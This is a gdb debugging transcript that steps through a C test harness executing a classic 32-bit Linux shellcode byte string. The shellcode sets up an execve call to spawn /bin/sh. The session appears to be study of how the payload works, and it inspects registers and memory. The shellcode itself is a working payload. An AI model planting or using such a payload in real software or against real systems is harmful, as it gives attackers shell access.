[root@localhost ceshi]# gdb shellcode
GNU gdb Fedora (6.8-27.el5)
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) l
1 #include <stdio.h>
2
3 static char shellcode[]=
4 "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
5 "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"
6 "\x2f\x73\x68\x58";
7
8 int main() {
9 (*(void(*)())shellcode)();
10 return 0;
(gdb)
(gdb) b 9
Breakpoint 1 at 0x8048365: file shellcode.c, line 9.
(gdb) display /i $pc
(gdb) run
Starting program: /root/ceshi/shellcode
Breakpoint 1, main () at shellcode.c:9
9 (*(void(*)())shellcode)();
1: x/i $pc
0x8048365 <main+17>: mov $0x8049580,%eax
(gdb)
0x08049582 in shellcode ()
1: x/i $pc
0x8049582 <shellcode+2>: pop %esi
(gdb)
0x08049583 in shellcode ()
1: x/i $pc
0x8049583 <shellcode+3>: mov %esi,0x8(%esi)
(gdb) i r esi
esi 0x804959e 134518174
(gdb) x/8xb 134518174
0x804959e <shellcode+30>: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x58
(gdb)